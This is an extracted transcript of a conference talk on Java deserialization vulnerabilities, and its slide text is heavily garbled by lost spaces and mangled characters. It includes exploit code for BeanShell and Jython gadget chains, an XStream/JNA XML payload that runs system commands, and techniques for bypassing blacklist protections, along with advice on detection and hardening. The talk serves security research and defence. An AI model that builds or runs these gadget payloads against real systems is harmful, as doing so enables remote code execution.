Download Serial Killer: Silently Pwning Your Java Endpoints

Survey
yes no Was this document useful for you?
   Thank you for your participation!

* Your assessment is very important for improving the workof artificial intelligence, which forms the content of this project

Document related concepts
no text concepts found
Transcript
SESSION ID: ASD-F03
SerialKiller:SilentlyPwning
YourJavaEndpoints
AlvaroMuñoz
PrincipalSecurityResearcher
HPESecurityFor@fy
@pwntester
Chris;anSchneider
WhitehatHacker&Developer
Freelancer
@cschneider4711
Whythistalk?
Javadeserializa@onaEackshavebeenknownforyears
Rela@velynewgadgetinApacheCommons-Collec/onsmadethetopicalsoavailable
tomainstream(dev)audiencein2015
Someinaccurateadvicetoprotectyourapplica@onsismakingtherounds
Inthistalkwe’lldemonstratetheweaknessofthisadviceby…
…showingyounewRCEgadgets
…showingyoubypasses
We’llgiveadvicehowtospotthisvulnerabilityanditsgadgetsduring…
…codereviews(i.e.showingyouwhattolookfor)
…pentests(i.e.howtogenericallytestforsuchissues)
2
WhatisJavaSerializa;onagain?
Takingasnapshotofanobjectgraphasabytestreamthatcanbe
usedtoreconstructtheobjectgraphtoitsoriginalstate
Onlyobjectdataisserialized,notthecode
ThecodesitsontheClassPathofthedeserializingend
Developerscancustomizethisserializa@on/deserializa@onprocess
Individualobject/stateserializa@on
via.writeObject()/.writeReplace()/.writeExternal()methods
Individualobject/statere-construc@onondeserializingend
via.readObject()/.readResolve()/.readExternal()methods(andmore)
3
AMackSurface
UsagesofJavaserializa@oninprotocols/formats/products:
RMI(RemoteMethodInvoca@on)
Android
JMX(JavaManagementExtension)
AMF(Ac@onMessageFormat)
JMS(JavaMessagingSystem)
JSFViewState
SpringServiceInvokers
WebLogicT3
HTTP,JMS,RMI,etc.
…
…
4
StandingontheShoulderofGiants…
SpringAOP(byWouterCoekaerts,publicexploit:@pwntesterin2011)
AMFDoS(byWouterCoekaertsin2011)
Commons-fileupload(byArunBabuNeelicaEuin2013)
Groovy(bycpnrodzc7/@frohoffin2015)
Commons-Collec;ons(by@frohoffand@geblin2015)
SpringBeans(by@frohoffand@geblin2015)
SerialDoS(byWouterCoekaertsin2015)
SpringTx(by@zerothinkingin2016)
JDK7(by@frohoffin2016)
Probablymoreweareforge7ngandmoretocomeinfewminutes…
5
JavaDeserializa;oninaNutshell
ObjectInputStream
Serializable Class
4. Resolve classes of stream
resolveClass()
5. Deserialize objects
Application Code
Garbage Collector
1. Get bytes
2. Initialize ObjectInputStream
3. Read object from stream
• ois.readObject()
6. Restore object member fields
• readObject(ObjectInputStream)
• readObjectNoData()
7. Eventually replace restored object
• readResolve()
8. Optionally validate object
• validateObject()
9. Cast deserialized object to expected type
10.Use deserialized object
11.Call finalize() on GC
6
TriggeringExecu;onvia"MagicMethods"
ObjectInputStream
Serializable Class
4. Resolve classes of stream
resolveClass()
5. Deserialize objects
Application Code
Garbage Collector
1. Get bytes
2. Initialize ObjectInputStream
3. Read object from stream
• ois.readObject()
6. Restore object member fields
• readObject(ObjectInputStream)
• readObjectNoData()
7. Eventually replace restored object
• readResolve()
8. Optionally validate object
• validateObject()
9. Cast deserialized object to expected type
10.Use deserialized object
11.Call finalize() on GC
7
Exploi;ng"MagicMethods"
Abusing"magicmethods"ofgadgetswhichhavedangerouscode:
AEackercontrolsmemberfields’valuesofserializedobject
[email protected]()/.readResolve()isinvoked
Implementa@onofthismethodingadgetclassusesaMacker-controlledfields
Asidefromtheclassiconesalsolesser-known"magicmethods"help:
.validateObject()aspartofvalida@on(whichdoesnotpreventaEacks)
.readObjectNoData()upondeserializa@onconflicts
.finalize()aspartofGC(evenajererrors)
withdeferredexecu@onbypassingad-hocSecurityManagersatdeserializa@on
WorksalsoforExternalizable’s.readExternal()
8
Exploi;ng"MagicMethods"
Butwhatifthereareno
"MagicMethods"onthetarget’s
ClassPaththathave"dangerouscode"for
theaEackertoinfluence?
9
ProxywithInvoca;onHandlerasCatalyzer
Proxy
method2
Interface
Class
method1
method2
field1
field2
…
method1
method2
Invocation
Handler
Custom code
10
Exploi;ngInvoca;onHandler(IH)Gadgets
AEackerstepsuponserializa@on:
AEackercontrolsmemberfieldsofIHgadget,whichhasdangerouscode
IH(aspartofDynamicProxy)getsserializedbyaEackerasfieldonwhichaninnocuous
methodiscalledfrom"magicmethod"(ofclasstodeserialize)
Applica@onstepsupondeserializa@on:
"MagicMethod"of"TriggerGadget"callsinnocuousmethodonanaMackercontrolledfield
Thiscallisinterceptedbyproxy(setbyaEackerasthisfield)anddispatchedtoIH
OtherIH-liketypesexistasidefromjava.lang.reflect.Invoca@onHandler
[email protected]
org.jboss.weld.bean.proxy.MethodHandler
11
NewRCEGadgetinBeanShell
(CVE-2016-2510)
bsh.XThis$Handler
SerializableInvoca@onHandler
Uponfunc@onintercep@oncustomBeanShellcodewillbecalled
AlmostanyJavacodecanbeincludedinthepayload
Inordertoinvokethepayloadatriggergadgetisneeded
12
NewRCEGadgetinBeanShell
(CVE-2016-2510)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
String payload = "compare(Object foo, Object bar) {" +
" new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start();return 1;" +
"}";
// Create Interpreter
Interpreter i = new Interpreter();
i.eval(payload);
// Create Proxy/InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) getField(xt.getClass(), "invocationHandler").get(xt);
Comparator comparator = (Comparator) Proxy.newProxyInstance(classLoader, new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
setFieldValue(priorityQueue, "queue", queue);
setFieldValue(priorityQueue, "size", 2);
13
NewRCEGadgetinJython(CVEpending)
org.python.core.PyFunction
SerializableInvoca@onHandler
Uponfunc@onintercep@oncustompythonbytecodewillbecalled
Onlypythonbuilt-infunc@onscanbecalled
Impor@ngmodulesisnotpossible:noos.system()sorry:(
S@llwecanreadandwritearbitraryfiles(cancauseRCEinwebapp)
Inordertoinvokethepayloadatriggergadgetisneeded
14
NewRCEGadgetinJython(CVEpending)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Python bytecode to write a file on disk
String code =
"740000" + // 0 LOAD_GLOBAL
"640100" + // 3 LOAD_CONST
"640200" + // 6 LOAD_CONST
"830200" + // 9 CALL_FUNCTION
"690100" + // 12 LOAD_ATTR
"640300" + // 15 LOAD_CONST
"830100" + // 18 CALL_FUNCTION
"01"
+ // 21 POP_TOP
"640000" + // 22 LOAD_CONST
"53";
// 25 RETURN_VALUE
0
1
2
2
1
3
1
(open)
(<PATH>)
('w')
(write)
(<CONTENT>)
// Helping cons and names
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(path), new PyString("w"), new PyString(content)};
String[] names = new String[]{"open", “write"};
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{}, "noname", "<module>", 0, "");
setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
15
NewRCEGadgets
MoreofourreportedRCEgadgetss;llbeingfixed
ZDI ID
Affected Vendor(s)
Severity (CVSS)
ZDI-CAN-3511
Oracle
7.5
ZDI-CAN-3510
Oracle
7.5
ZDI-CAN-3497
Oracle
7.5
ZDI-CAN-3588
Oracle
7.5
ZDI-CAN-3592
Oracle
7.5
Staytuned!
TwiEer:@pwntester&@cschneider4711
Blog:hEps://hp.com/go/hpsrblog
16
DemoofaMack
Let’s take a look at the live demo…
17
Exis;ngMi;ga;onAdvice
SimplyremovegadgetclassesfromClassPath(FoxGlove’sadvice)
Blacklist&WhitelistbasedcheckatObjectInputStream.resolveClass
Differentimplementa@onsofthis"Lookahead"-Deserializa@onexist:
UseofObjectInputStreamsubclassinapplica@on’sdeserializa@oncode
Agent-based(AOP-like)hookingofcallstoObjectInputStream.resolveClass()
AdhocSecurityManagersandboxesduringdeserializa@on
18
Exis;ngMi;ga;onAdvice
SimplyremovegadgetclassesfromClassPath(FoxGlove’sadvice)
Notfeasiblegivenmoreandmoregadgetsbecomingavailable
Blacklist&WhitelistbasedcheckatObjectInputStream.resolveClass
Differentimplementa@onsofthis"Lookahead"-Deserializa@onexist:
UseofObjectInputStreamsubclassinapplica@on’sdeserializa@oncode
Agent-based(AOP-like)hookingofcallstoObjectInputStream.resolveClass()
AdhocSecurityManagersandboxesduringdeserializa@on
19
Exis;ngMi;ga;onAdvice
SimplyremovegadgetclassesfromClassPath(FoxGlove’sadvice)
Notfeasiblegivenmoreandmoregadgetsbecomingavailable
Blacklist&WhitelistbasedcheckatObjectInputStream.resolveClass
Differentimplementa@onsofthis"Lookahead"-Deserializa@onexist:
UseofObjectInputStreamsubclassinapplica@on’sdeserializa@oncode
Agent-based(AOP-like)hookingofcallstoObjectInputStream.resolveClass()
Blacklists:Bypassesmightexist(inyourdependenciesoryourowncode)
Whitelists:Difficulttogetright&DoSthoughJDKstandardclassespossible
AdhocSecurityManagersandboxesduringdeserializa@on
20
Exis;ngMi;ga;onAdvice
SimplyremovegadgetclassesfromClassPath(FoxGlove’sadvice)
Notfeasiblegivenmoreandmoregadgetsbecomingavailable
Blacklist&WhitelistbasedcheckatObjectInputStream.resolveClass
Differentimplementa@onsofthis"Lookahead"-Deserializa@onexist:
UseofObjectInputStreamsubclassinapplica@on’sdeserializa@oncode
Agent-based(AOP-like)hookingofcallstoObjectInputStream.resolveClass()
Blacklists:Bypassesmightexist(inyourdependenciesoryourowncode)
Whitelists:Difficulttogetright&DoSthoughJDKstandardclassespossible
AdhocSecurityManagersandboxesduringdeserializa@on
Execu@oncanbedeferreda]erdeserializa@on:we’llshowlaterhow…
21
Howdidvendorshandlethisrecently?
Vendor / Product
Type of Protection
Atlassian Bamboo
Removed Usage of Serialization
Apache ActiveMQ
LAOIS Whitelist
Apache Batchee
LAOIS Blacklist + optional Whitelist
Apache JCS
LAOIS Blacklist + optional Whitelist
Apache openjpa
LAOIS Blacklist + optional Whitelist
Apache Owb
LAOIS Blacklist + optional Whitelist
Apache TomEE
LAOIS Blacklist + optional Whitelist
********** (still to be fixed)
LAOIS Blacklist
22
BypassingLookAheadBlacklists
Newgadgettypetobypassad-hoclook-aheadObjectInputStreamblacklistprotec@ons:
Canwefindaclasslike:
1
2
3
4
5
6
7
8
public class NestedProblems implements Serializable {
byte[] bytes … ;
…
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
ois.readObject();
}
}
Duringdeserializa@onoftheobjectgraph,anewimmaculateunprotected
ObjectInputStreamwillbeinstan@ated
AEackercanprovideanyarbitrarybytesforunsafedeserializa@on
BypassdoesnotworkforcaseswhereObjectInputStreamisinstrumented
23
Isthisforrealoristhisjustfantasy?
Currentlywefoundmanybypassgadgets:
JRE:3
Applica@onServers:
IBMWebSphere:13
OracleWebLogic:3
ApacheTomEE:3
…
ThirdPartyLibraries:
Apachelibraries:6
Springlibraries:1
Otherpopularlibraries:2
24
Example(hasbeenfixed)
org.apache.commons.scxml2.env.groovy.GroovyContext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@SuppressWarnings("unchecked")
private void readObject(ObjectInputStream in) throws IOException,ClassNotFoundException {
this.scriptBaseClass = (String)in.readObject();
this.evaluator = (GroovyEvaluator)in.readObject();
this.binding = (GroovyContextBinding)in.readObject();
byte[] bytes = (byte[])in.readObject();
if (evaluator != null) {
this.vars = (Map<String, Object>)
new ObjectInputStream(new ByteArrayInputStream(bytes)) {
protected Class resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
return Class.forName(osc.getName(), true, evaluator.getGroovyClassLoader());
}
}.readObject();
}
else {
this.vars = (Map<String, Object>)new ObjectInputStream(new ByteArrayInputStream(bytes)).readObject();
}
}
25
Nowwithhomedelivery
javax.media.jai.remote.SerializableRenderedImage
finalize() > dispose() > closeClient()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void closeClient() {
// Connect to the data server.
Socket socket = connectToServer();
// Get the socket output stream and wrap an object
// output stream around it.
OutputStream out = null;
ObjectOutputStream objectOut = null;
ObjectInputStream objectIn = null;
try {
out = socket.getOutputStream();
objectOut = new ObjectOutputStream(out);
objectIn = new ObjectInputStream(socket.getInputStream());
} catch (IOException e) { ... }
...
Bypassesad-hocSecurityManagers
26
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
try {
objectIn.readObject();
} catch (IOException e) {
sendExceptionToListener(JaiI18N.getString(
"SerializableRenderedImage8"),
new ImagingException(JaiI18N.getString(
"SerializableRenderedImage8"), e));
} catch (ClassNotFoundException cnfe) {
sendExceptionToListener(JaiI18N.getString(
"SerializableRenderedImage9"),
new ImagingException(JaiI18N.getString(
"SerializableRenderedImage9"), cnfe));
}
...
}
Demoofbypass
Let’s take a look at the live demo…
27
IsitjustJavaSerializa;on?
XStreamislikeJavaSerializa@ononsteroids
Candeserializenon-serializableclasses:—>manymoregadgetsavailable
Reportedbackin2013:CVE-2013-7285byAlvaroMunoz(@pwntester)&AbrahamKang(@KangAbraham)
XStreamimplementedablacklist/whitelistprotec@onscheme
(bydefaultonlyblockingjava.beans.EventHandler)
Unfortunatelydevsarenotfullyawareands@lluseunprotectedoronlyblacklistedXStreaminstances
e.g.:CVE-2015-5254inApacheAc;veMQandCVE-2015-5344inApacheCamel
bothby@pwntester,@cschneider4711,@maEhias_kaiser
Wefoundmanynewgadgetsduringresearch
Can’tbefixedbymakingthemnon-serializable.
OnlyfixisapplyingawhitelisttoXStreaminstance.
…plusmostoftheonesavailableforJavaserializa@on(e.g.:Commons-Collec@ons,Spring,…)
28
Exploi;ngJNA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<sorted-set>
<string>calc.exe</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="com.sun.jna.CallbackReference$NativeFunctionHandler">
<options />
<function class="com.sun.jna.Function">
<peer>140735672090131</peer> <!-- depends on target -->
<library>
<libraryName>c</libraryName>
<libraryPath>libc.dylib</libraryPath>
</library>
<functionName>system</functionName>
</function>
</handler>
</dynamic-proxy>
</sorted-set>
29
XStream,canyourunreadObject()?
XStreamworkswithJavaserializa@onsothatifaclasscontainsa
readObject()orreadResolve()method,itwillcallthemaspartof
thedeserializa@on.
XStreamturnsanyXStreamdeserializa@onendpointintoastandard
Javaone
CanwebypassXStreampermissionsystembyrunningcodein
readObject(),readResolve(),finalize(),…?
AnyLookAheadbypassgadgetwillalsobevalidtobypassXStream
blacklist
30
#RSAC
FindingVulnerabili;es&GadgetsintheCode
SASTTips
WhoShouldCheckforWhat?
Checkyourendpointsforthoseaccep;ng(untrusted)
serializeddata
Checkyourcodeforpoten;algadgets,whichcouldbeusedin
deserializa@onaEackswhereyourlibrary/frameworkisused
AlsotheClassPathoftheapp-servercanhostexploitablegadgets
Problem:"GadgetSpace"istoobig
Typicalapp-serverbaseddeploymentshavehundredsofJARsinClassPath
SASTtoolsmighthelpforbothchecks…
SuchasHPESecurityFor@fyortheOpenSourceFindSecBugs
32
FindingDirectDeserializa;onEndpoints
Findcalls(withinyourcodeandyourdependencies’code)to:
ObjectInputStream.readObject()
ObjectInputStream.readUnshared()
WhereInputStreamisaEackercontrolled.Forexample:
1
2
3
InputStream is = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(is);
ois.readObject();
…andObjectInputStreamisorextendsjava.io.ObjectInputStream
…butisnotasafeone(eg:Commons-ioValida@ngObjectInputStream)
33
High-LevelGadgetCategories
Gadgetisaclass(withintarget’sClassPath)useableupondeserializa@ontofacilitateanaEack,
whichojenconsistsofmul@plegadgetschainedtogetherasa"GadgetChain".
TriggerGadgetisaclasswitha"MagicMethod"triggeredduringdeserializa@onac@ngupon
proxy-ablefields,whichareaEackercontrolled(serializable).TriggerGadgetsini@atethe
execu@on.
BypassGadgetisaclasswith(preferably)a"MagicMethod"triggeredduringdeserializa@on
whichleadstoa"NestedDeserializa@on"withanunprotectedOISofaEacker-controllable
bytes.
HelperGadgetisaclasswithgluestogetherotherbondsofagadgetchain.
AbuseGadgetisaclasswithamethodimplemen@ngdangerousfunc@onality,aEackerswant
toexecute.
NeedforserializabilityislijedwhentechniqueslikeXStreamareusedbythetarget.
34
FindingGadgetsforFun&Profit
Sinks
Lookforinteres;ngmethodcalls…
java.lang.reflect.Method.invoke()
Sources
reachedby:
java.io.Externalizable.readExternal()
java.io.File()
java.io.ObjectInputStream()
java.io.Serializable.readObject()
java.io.Serializable.readObjectNoData()
java.net.URLClassLoader()
java.net.Socket()
java.io.Serializable.readResolve()
[email protected]()
java.lang.refl[email protected]()
java.net.URL()
javax.naming.Context.lookup()
…
[email protected]()
org.jboss.weld.bean.proxy.MethodHandler.invoke()
java.lang.Object.finalize()
<clinit>(sta/cini/alizer)
35
#RSAC
WhattoCheckDuringPentests?
DASTTips
PassiveDeserializa;onEndpointDetec;on
Requests(oranynetworktraffic)carryingserializedJavaobjects:
Easytospotduetomagicbytesatthebeginning:0xAC 0xED …
Someweb-appsmightuseBase64tostoreserializeddata
inCookies,etc.:rO0 …
Beawarethatcompressioncould’vebeenappliedbeforeBase64
SeveralBurp-Pluginshavebeencreatedrecentlytopassivelyscan
forJavaserializa@ondataaspartofwebtrafficanalysis
Alsotestfornon-webrelated(binary)trafficwithnetworkprotocol
analyzers
37
Ac;veVulnerabilityScanning
SomeBurp-Pluginsac;velytrytoexploitsubsetofexis@nggadgets
EitherblindthroughOOBcommunica@on("superserial-ac@ve")
Forapplica@onsrunningonJBoss
Or@me-basedblindviadelay("JavaDeserializa@onScanner")
ForgadgetsinApacheCommonsCollec@ons3&4
AndgadgetsinSpring4
Recommenda@on:Adjustac@vescanningpayloadstonotrelyon
specificgadgets-beEeruseagenericdelayintroduc@on
Suchas"SerialDoS"(byWouterCoekaerts),whichisonlyHashSetbased
as of January 2015
38
#RSAC
HardeningAdvice
HowtoHardenYourApplica;ons?
DONOTDESERIALIZEUNTRUSTEDDATA!!
Whenarchitecturepermitsit:
Useotherformatsinsteadofserializedobjects:JSON,XML,etc.
ButbeawareofXML-baseddeserializa@onaEacksviaXStream,XmlDecoder,etc.
Assecond-bestop@on:
Usedefensivedeserializa@onwithlook-aheadOISwithastrictwhitelist
Don’trelyongadget-blacklis@ngalone!
YoucanbuildthewhitelistwithOpenSourceagentSWAT(SerialWhitelistApplica@onTrainer)
Preferanagent-basedinstrumen@ngofObjectInputStreamtowardsLAOIS
Scanyourownwhitelistedcodeforpoten@algadgets
IfpossibleuseaSecurityManagerasdefense-in-depth
40
ApplyWhatYouHaveLearnedToday
Nextweekyoushould:
Iden@fyyourcri@calapplica@ons’exposuretountrusteddatathatgetsdeserialized
SASTmighthelphereifcodebaseisbig
Foralreadyreportedvulnerableproducts,ensuretoapplypatches
Configureapplica@onswithwhitelistswherepossible
Inthefirstthreemonthsfollowingthispresenta@onyoushould:
Ifpossibleswitchthedeserializa@ontootherformats(JSON,etc.),or
Usedefensivedeserializa@onwithastrictwhitelist
Withinsixmonthsyoushould:
UseDASTtoac@velyscanfordeserializa@onvulnerabili@esaspartofyourprocess
ApplySASTtechniquestosearchforaEacker-helpinggadgets
Extendthisanalysisalsotonon-cri@calapplica@ons
41
#RSAC
Q&A/ThankYou!
AlvaroMuñoz
@pwntester
[email protected]
Chris;anSchneider
@cschneider4711
mail@[email protected]